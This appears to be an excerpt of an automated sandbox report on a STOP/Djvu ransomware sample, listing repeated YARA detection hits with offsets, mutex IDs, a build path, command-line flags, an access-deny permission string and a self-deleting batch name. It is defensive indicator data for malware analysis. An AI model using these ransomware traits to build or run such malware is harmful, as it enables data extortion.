{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000000.418527999.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: bE5aaTiJM0.exe PID: 4004	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: bE5aaTiJM0.exe PID: 4004	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x350b9:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: bE5aaTiJM0.exe PID: 5720	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: bE5aaTiJM0.exe PID: 5720	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x316f2:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x6a049:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xa84e1:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: bE5aaTiJM0.exe PID: 5592	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: bE5aaTiJM0.exe PID: 5592	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x36284:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: bE5aaTiJM0.exe PID: 4376	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: bE5aaTiJM0.exe PID: 4376	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x320b9:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: bE5aaTiJM0.exe PID: 3616	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: bE5aaTiJM0.exe PID: 3616	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x37091:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x714e7:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xa54a7:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: bE5aaTiJM0.exe PID: 5828	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: bE5aaTiJM0.exe PID: 5828	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x43690:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: bE5aaTiJM0.exe PID: 5832	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: bE5aaTiJM0.exe PID: 5832	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x32fac:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x7335e:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xa65db:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: bE5aaTiJM0.exe PID: 3920	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: bE5aaTiJM0.exe PID: 3920	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x32e88:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x71522:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xb2fc0:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: bE5aaTiJM0.exe PID: 3304	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: bE5aaTiJM0.exe PID: 3304	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x32d3a:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: bE5aaTiJM0.exe PID: 2888	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: bE5aaTiJM0.exe PID: 2888	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x380cd:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x6b35b:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xa36c0:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 155 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.0.bE5aaTiJM0.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.bE5aaTiJM0.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.2.bE5aaTiJM0.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.bE5aaTiJM0.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.bE5aaTiJM0.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
10.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.bE5aaTiJM0.exe.42715a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
10.2.bE5aaTiJM0.exe.42715a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.bE5aaTiJM0.exe.42715a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.bE5aaTiJM0.exe.42715a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
